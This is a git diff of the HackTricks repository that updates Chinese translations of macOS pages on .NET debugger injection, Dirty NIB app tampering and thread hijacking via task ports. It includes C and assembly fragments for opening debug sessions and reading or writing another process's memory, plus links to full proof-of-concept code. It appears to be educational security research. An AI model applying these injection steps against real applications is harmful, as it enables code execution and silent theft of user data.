mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
2e2bf40105
commit
5c84f14c71
82 changed files with 3105 additions and 2805 deletions
|
@ -1,30 +1,31 @@
|
|||
# macOS .Net应用程序注入
|
||||
# macOS .Net 应用程序注入
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**这是文章[https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)的摘要。请查看获取更多详细信息!**
|
||||
**这是文章 [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) 的摘要。查看以获取更多细节!**
|
||||
|
||||
## .NET Core调试 <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||
## .NET Core 调试 <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||
|
||||
### **建立调试会话** <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||
|
||||
在.NET中,调试器和被调试程序之间的通信由[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp)管理。该组件为每个.NET进程设置两个命名管道,如[dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127)中所示,这些管道通过[twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27)启动。这些管道的后缀为**`-in`**和**`-out`**。
|
||||
在 .NET 中,调试器与被调试程序之间的通信由 [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) 管理。该组件为每个 .NET 进程设置两个命名管道,如 [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) 所示,这些管道通过 [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) 初始化。这些管道以 **`-in`** 和 **`-out`** 结尾。
|
||||
|
||||
通过访问用户的**`$TMPDIR`**,可以找到用于调试.NET应用程序的调试FIFO。
|
||||
通过访问用户的 **`$TMPDIR`**,可以找到可用于调试 .Net 应用程序的调试 FIFO。
|
||||
|
||||
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)负责管理来自调试器的通信。要启动新的调试会话,调试器必须通过以`MessageHeader`结构开头的`out`管道发送消息,详细信息请参阅.NET源代码:
|
||||
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) 负责管理来自调试器的通信。要启动新的调试会话,调试器必须通过 `out` 管道发送以 `MessageHeader` 结构开头的消息,该结构在 .NET 源代码中详细说明:
|
||||
```c
|
||||
struct MessageHeader {
|
||||
MessageType m_eType; // Message type
|
||||
|
@ -43,7 +44,7 @@ DWORD m_dwMinorVersion;
|
|||
BYTE m_sMustBeZero[8];
|
||||
}
|
||||
```
|
||||
要请求一个新会话,需要填充这个结构,将消息类型设置为 `MT_SessionRequest`,将协议版本设置为当前版本:
|
||||
要请求一个新会话,结构体被填充如下,将消息类型设置为 `MT_SessionRequest`,并将协议版本设置为当前版本:
|
||||
```c
|
||||
static const DWORD kCurrentMajorVersion = 2;
|
||||
static const DWORD kCurrentMinorVersion = 0;
|
||||
|
@ -54,18 +55,18 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion
|
|||
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
|
||||
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
|
||||
```
|
||||
这个标头随后使用`write`系统调用发送到目标,接着是包含会话GUID的`sessionRequestData`结构体:
|
||||
这个头部随后通过 `write` 系统调用发送到目标,后面跟着包含会话 GUID 的 `sessionRequestData` 结构:
|
||||
```c
|
||||
write(wr, &sSendHeader, sizeof(MessageHeader));
|
||||
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
|
||||
write(wr, &sDataBlock, sizeof(SessionRequestData));
|
||||
```
|
||||
读取`out`管道上的操作确认了调试会话建立的成功或失败:
|
||||
对 `out` 管道的读取操作确认调试会话建立的成功或失败:
|
||||
```c
|
||||
read(rd, &sReceiveHeader, sizeof(MessageHeader));
|
||||
```
|
||||
## 读取内存
|
||||
一旦建立了调试会话,可以使用[`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896)消息类型来读取内存。readMemory函数进行了详细说明,执行了发送读取请求和检索响应的必要步骤:
|
||||
一旦建立了调试会话,就可以使用 [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) 消息类型读取内存。函数 readMemory 进行了详细说明,执行发送读取请求和检索响应所需的步骤:
|
||||
```c
|
||||
bool readMemory(void *addr, int len, unsigned char **output) {
|
||||
// Allocation and initialization
|
||||
|
@ -77,11 +78,11 @@ bool readMemory(void *addr, int len, unsigned char **output) {
|
|||
return true;
|
||||
}
|
||||
```
|
||||
完整的概念验证(POC)可以在[这里](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b)找到。
|
||||
完整的概念验证(POC)可在 [这里](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b) 获取。
|
||||
|
||||
## 写入内存
|
||||
|
||||
同样,可以使用`writeMemory`函数来写入内存。该过程涉及将消息类型设置为`MT_WriteMemory`,指定数据的地址和长度,然后发送数据:
|
||||
类似地,可以使用 `writeMemory` 函数写入内存。该过程涉及将消息类型设置为 `MT_WriteMemory`,指定数据的地址和长度,然后发送数据:
|
||||
```c
|
||||
bool writeMemory(void *addr, int len, unsigned char *input) {
|
||||
// Increment IDs, set message type, and specify memory location
|
||||
|
@ -93,23 +94,38 @@ bool writeMemory(void *addr, int len, unsigned char *input) {
|
|||
return true;
|
||||
}
|
||||
```
|
||||
关联的POC在[这里](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5)。
|
||||
相关的POC可以在[这里](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5)找到。
|
||||
|
||||
## .NET Core代码执行 <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
||||
## .NET Core 代码执行 <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
||||
|
||||
要执行代码,需要识别具有rwx权限的内存区域,可以使用vmmap -pages来完成:
|
||||
要执行代码,需要识别一个具有rwx权限的内存区域,这可以通过使用vmmap -pages:来完成。
|
||||
```bash
|
||||
vmmap -pages [pid]
|
||||
vmmap -pages 35829 | grep "rwx/rwx"
|
||||
```
|
||||
在.NET Core中,定位要覆盖的函数指针位置是必要的,这可以通过针对**动态函数表(DFT)**来实现。这个表在[`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h)中有详细说明,被运行时用于JIT编译辅助函数。
|
||||
定位一个覆盖函数指针的位置是必要的,在 .NET Core 中,这可以通过针对 **Dynamic Function Table (DFT)** 来实现。这个表在 [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h) 中有详细说明,运行时使用它来进行 JIT 编译辅助函数。
|
||||
|
||||
对于x64系统,可以使用签名搜索来找到`libcorclr.dll`中对符号`_hlpDynamicFuncTable`的引用。
|
||||
对于 x64 系统,可以使用签名搜索来找到 `libcorclr.dll` 中符号 `_hlpDynamicFuncTable` 的引用。
|
||||
|
||||
`MT_GetDCB`调试器函数提供了有用的信息,包括一个辅助函数的地址`m_helperRemoteStartAddr`,指示了`libcorclr.dll`在进程内存中的位置。然后使用这个地址来开始搜索DFT,并用shellcode的地址覆盖一个函数指针。
|
||||
`MT_GetDCB` 调试器函数提供了有用的信息,包括一个辅助函数的地址 `m_helperRemoteStartAddr`,指示 `libcorclr.dll` 在进程内存中的位置。然后使用这个地址开始搜索 DFT,并用 shellcode 的地址覆盖一个函数指针。
|
||||
|
||||
可以在[这里](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)找到用于注入到PowerShell的完整POC代码。
|
||||
注入 PowerShell 的完整 POC 代码可以在 [这里](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6) 访问。
|
||||
|
||||
## 参考资料
|
||||
## References
|
||||
|
||||
* [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,71 +1,87 @@
|
|||
# macOS Dirty NIB
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**有关该技术的更多详细信息,请查看原始帖子:[https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/)。**以下是摘要:
|
||||
**有关该技术的更多详细信息,请查看原始帖子:[https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/)。** 这里是一个总结:
|
||||
|
||||
NIB文件是苹果开发生态系统的一部分,用于定义应用程序中的**UI元素**及其交互。它们包含诸如窗口和按钮之类的序列化对象,并在运行时加载。尽管它们仍在使用中,但苹果现在倡导使用Storyboards来更全面地可视化UI流程。
|
||||
NIB 文件是苹果开发生态系统的一部分,旨在定义应用程序中的 **UI 元素** 及其交互。它们包含序列化对象,如窗口和按钮,并在运行时加载。尽管它们仍在使用,苹果现在提倡使用 Storyboards 以更全面地可视化 UI 流程。
|
||||
|
||||
### NIB文件的安全问题
|
||||
需要注意的是**NIB文件可能存在安全风险**。它们有可能**执行任意命令**,而对应用程序中NIB文件的更改不会阻止Gatekeeper执行该应用程序,构成重大威胁。
|
||||
### NIB 文件的安全隐患
|
||||
需要注意的是,**NIB 文件可能构成安全风险**。它们有可能 **执行任意命令**,并且在应用程序中对 NIB 文件的更改不会阻止 Gatekeeper 执行该应用程序,构成重大威胁。
|
||||
|
||||
### Dirty NIB注入过程
|
||||
#### 创建和设置NIB文件
|
||||
### Dirty NIB 注入过程
|
||||
#### 创建和设置 NIB 文件
|
||||
1. **初始设置**:
|
||||
- 使用XCode创建一个新的NIB文件。
|
||||
- 向界面添加一个对象,并将其类设置为`NSAppleScript`。
|
||||
- 通过用户定义的运行时属性配置初始`source`属性。
|
||||
- 使用 XCode 创建一个新的 NIB 文件。
|
||||
- 向界面添加一个对象,将其类设置为 `NSAppleScript`。
|
||||
- 通过用户定义的运行时属性配置初始 `source` 属性。
|
||||
|
||||
2. **代码执行小工具**:
|
||||
- 该设置便于按需运行AppleScript。
|
||||
- 集成一个按钮来激活`Apple Script`对象,特别触发`executeAndReturnError:`选择器。
|
||||
2. **代码执行工具**:
|
||||
- 该设置便于按需运行 AppleScript。
|
||||
- 集成一个按钮以激活 `Apple Script` 对象,特别触发 `executeAndReturnError:` 选择器。
|
||||
|
||||
3. **测试**:
|
||||
- 用于测试目的的简单Apple Script:
|
||||
- 一个简单的 Apple Script 用于测试:
|
||||
```bash
|
||||
set theDialogText to "PWND"
|
||||
display dialog theDialogText
|
||||
```
|
||||
- 在XCode调试器中运行并单击按钮进行测试。
|
||||
- 通过在 XCode 调试器中运行并点击按钮进行测试。
|
||||
|
||||
#### 针对应用程序的攻击(示例:Pages)
|
||||
#### 目标应用程序(示例:Pages)
|
||||
1. **准备**:
|
||||
- 将目标应用程序(例如Pages)复制到一个单独的目录中(例如`/tmp/`)。
|
||||
- 启动应用程序以规避Gatekeeper问题并缓存它。
|
||||
- 将目标应用程序(例如,Pages)复制到一个单独的目录(例如,`/tmp/`)。
|
||||
- 启动该应用程序以绕过 Gatekeeper 问题并缓存它。
|
||||
|
||||
2. **覆盖NIB文件**:
|
||||
- 用精心制作的DirtyNIB文件替换现有的NIB文件(例如About Panel NIB)。
|
||||
2. **覆盖 NIB 文件**:
|
||||
- 用制作的 DirtyNIB 文件替换现有的 NIB 文件(例如,关于面板 NIB)。
|
||||
|
||||
3. **执行**:
|
||||
- 通过与应用程序交互(例如选择`About`菜单项)来触发执行。
|
||||
- 通过与应用程序交互(例如,选择 `关于` 菜单项)触发执行。
|
||||
|
||||
#### 概念验证:访问用户数据
|
||||
- 修改AppleScript以访问和提取用户数据,例如照片,而无需用户同意。
|
||||
- 修改 AppleScript 以访问和提取用户数据,例如照片,而无需用户同意。
|
||||
|
||||
### 代码示例:恶意.xib文件
|
||||
- 访问并查看一个[**恶意.xib文件的示例**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4),演示执行任意代码。
|
||||
### 代码示例:恶意 .xib 文件
|
||||
- 访问并查看 [**恶意 .xib 文件的示例**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4),演示执行任意代码。
|
||||
|
||||
### 处理启动约束
|
||||
- 启动约束阻止应用程序从意外位置(例如`/tmp`)执行。
|
||||
- 可以识别未受启动约束保护的应用程序,并针对它们进行NIB文件注入。
|
||||
### 解决启动约束
|
||||
- 启动约束阻止应用程序从意外位置(例如,`/tmp`)执行。
|
||||
- 可以识别未受启动约束保护的应用程序,并针对它们进行 NIB 文件注入。
|
||||
|
||||
### 其他macOS保护措施
|
||||
从macOS Sonoma开始,限制了App捆绑包内部的修改。但是,早期的方法涉及:
|
||||
1. 将应用程序复制到不同位置(例如`/tmp/`)。
|
||||
2. 重命名应用程序捆绑包中的目录以绕过初始保护。
|
||||
3. 运行应用程序以向Gatekeeper注册后,修改应用程序捆绑包(例如用Dirty.nib替换MainMenu.nib)。
|
||||
4. 将目录重新命名并重新运行应用程序以执行注入的NIB文件。
|
||||
### 其他 macOS 保护措施
|
||||
从 macOS Sonoma 开始,应用程序包内的修改受到限制。然而,早期的方法包括:
|
||||
1. 将应用程序复制到不同的位置(例如,`/tmp/`)。
|
||||
2. 重命名应用程序包内的目录以绕过初始保护。
|
||||
3. 在运行应用程序以注册 Gatekeeper 后,修改应用程序包(例如,用 Dirty.nib 替换 MainMenu.nib)。
|
||||
4. 将目录重命名回去并重新运行应用程序以执行注入的 NIB 文件。
|
||||
|
||||
**注意**:最近的macOS更新通过防止Gatekeeper缓存后的应用程序捆绑包内文件修改来减轻了此漏洞,使其失效。
|
||||
**注意**:最近的 macOS 更新通过防止在 Gatekeeper 缓存后修改应用程序包内的文件来减轻此漏洞,使其无效。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# macOS通过任务端口进行线程注入
|
||||
# macOS 通过任务端口进行线程注入
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 代码
|
||||
|
||||
|
@ -22,41 +23,41 @@
|
|||
|
||||
## 1. 线程劫持
|
||||
|
||||
首先,在任务端口上调用**`task_threads()`**函数以从远程任务获取线程列表。选择一个线程进行劫持。这种方法不同于传统的代码注入方法,因为由于新的防护措施阻止了`thread_create_running()`,创建新的远程线程是被禁止的。
|
||||
最初,**`task_threads()`** 函数在任务端口上被调用,以从远程任务获取线程列表。选择一个线程进行劫持。这种方法与传统的代码注入方法不同,因为由于新的缓解措施阻止了 `thread_create_running()`,创建新的远程线程是被禁止的。
|
||||
|
||||
为了控制线程,调用**`thread_suspend()`**来暂停其执行。
|
||||
为了控制线程,调用 **`thread_suspend()`**,暂停其执行。
|
||||
|
||||
对远程线程允许的唯一操作涉及**停止**和**启动**它,**检索**和**修改**其寄存器值。通过将寄存器`x0`到`x7`设置为**参数**,配置**`pc`**以指向所需的函数,并激活线程来启动远程函数调用。确保线程在返回后不崩溃需要检测返回。
|
||||
在远程线程上允许的唯一操作是 **停止** 和 **启动** 它,**检索** 和 **修改** 其寄存器值。通过将寄存器 `x0` 到 `x7` 设置为 **参数**,配置 **`pc`** 以指向所需函数,并激活线程,来发起远程函数调用。确保线程在返回后不崩溃需要检测返回。
|
||||
|
||||
一种策略涉及为远程线程**注册异常处理程序**,使用`thread_set_exception_ports()`,在函数调用之前将`lr`寄存器设置为无效地址。这会在函数执行后触发异常,向异常端口发送消息,从而使得可以检查线程状态以恢复返回值。另一种方法是从Ian Beer的triple\_fetch漏洞利用中采用,将`lr`设置为无限循环。然后持续监视线程的寄存器,直到**`pc`指向该指令**。
|
||||
一种策略是使用 `thread_set_exception_ports()` 为远程线程 **注册异常处理程序**,在函数调用之前将 `lr` 寄存器设置为无效地址。这会在函数执行后触发异常,向异常端口发送消息,使得可以检查线程的状态以恢复返回值。或者,采用 Ian Beer 的 triple_fetch 漏洞,将 `lr` 设置为无限循环。然后持续监控线程的寄存器,直到 **`pc` 指向该指令**。
|
||||
|
||||
## 2. 用于通信的Mach端口
|
||||
## 2. 用于通信的 Mach 端口
|
||||
|
||||
接下来的阶段涉及建立Mach端口以便与远程线程进行通信。这些端口在在任务之间传输任意发送和接收权限方面起着关键作用。
|
||||
接下来的阶段涉及建立 Mach 端口,以便与远程线程进行通信。这些端口在任务之间传输任意的发送和接收权限中起着重要作用。
|
||||
|
||||
为了实现双向通信,需要创建两个Mach接收权限:一个在本地,另一个在远程任务中。随后,将每个端口的发送权限传输到对应的任务,实现消息交换。
|
||||
为了实现双向通信,创建两个 Mach 接收权限:一个在本地任务中,另一个在远程任务中。随后,将每个端口的发送权限转移到对应的任务,从而实现消息交换。
|
||||
|
||||
关注本地端口,本地任务持有接收权限。使用`mach_port_allocate()`创建端口。挑战在于将发送权限传输到远程任务中。
|
||||
关注本地端口,接收权限由本地任务持有。该端口通过 `mach_port_allocate()` 创建。挑战在于将此端口的发送权限转移到远程任务中。
|
||||
|
||||
一种策略涉及利用`thread_set_special_port()`将本地端口的发送权限放置在远程线程的`THREAD_KERNEL_PORT`中。然后,指示远程线程调用`mach_thread_self()`以检索发送权限。
|
||||
一种策略是利用 `thread_set_special_port()` 将本地端口的发送权限放置在远程线程的 `THREAD_KERNEL_PORT` 中。然后,指示远程线程调用 `mach_thread_self()` 以检索发送权限。
|
||||
|
||||
对于远程端口,过程基本上是相反的。远程线程被指示通过`mach_reply_port()`生成一个Mach端口(由于其返回机制,`mach_port_allocate()`不适用)。在端口创建后,远程线程调用`mach_port_insert_right()`来建立发送权限。然后,使用`thread_set_special_port()`将此权限存储在内核中。回到本地任务,对远程线程使用`thread_get_special_port()`以获取远程任务中新分配的Mach端口的发送权限。
|
||||
对于远程端口,过程基本上是反向的。指示远程线程通过 `mach_reply_port()` 生成一个 Mach 端口(因为 `mach_port_allocate()` 不适合由于其返回机制)。在端口创建后,在远程线程中调用 `mach_port_insert_right()` 来建立发送权限。然后使用 `thread_set_special_port()` 将该权限存储在内核中。在本地任务中,使用 `thread_get_special_port()` 在远程线程上获取对新分配的 Mach 端口的发送权限。
|
||||
|
||||
完成这些步骤将建立Mach端口,为双向通信奠定基础。
|
||||
完成这些步骤后,建立了 Mach 端口,为双向通信奠定了基础。
|
||||
|
||||
## 3. 基本内存读写原语
|
||||
## 3. 基本内存读/写原语
|
||||
|
||||
在本节中,重点是利用执行原语建立基本的内存读写原语。尽管在这个阶段,这些原语不会有太多用途,但这些初始步骤对于更多地控制远程进程至关重要。很快,它们将升级为更高级的版本。
|
||||
在本节中,重点是利用执行原语建立基本的内存读写原语。这些初步步骤对于获得对远程进程的更多控制至关重要,尽管此阶段的原语不会发挥太大作用。很快,它们将升级为更高级的版本。
|
||||
|
||||
### 使用执行原语进行内存读写
|
||||
### 使用执行原语进行内存读取和写入
|
||||
|
||||
目标是使用特定函数执行内存读取和写入。用于读取内存的函数具有以下结构:
|
||||
目标是使用特定函数执行内存读取和写入。用于读取内存的函数类似于以下结构:
|
||||
```c
|
||||
uint64_t read_func(uint64_t *address) {
|
||||
return *address;
|
||||
}
|
||||
```
|
||||
对于写入内存,使用类似于这种结构的函数:
|
||||
并且用于写入内存的函数类似于这个结构:
|
||||
```c
|
||||
void write_func(uint64_t *address, uint64_t value) {
|
||||
*address = value;
|
||||
|
@ -71,105 +72,110 @@ _write_func:
|
|||
str x1, [x0]
|
||||
ret
|
||||
```
|
||||
### 识别适当的函数
|
||||
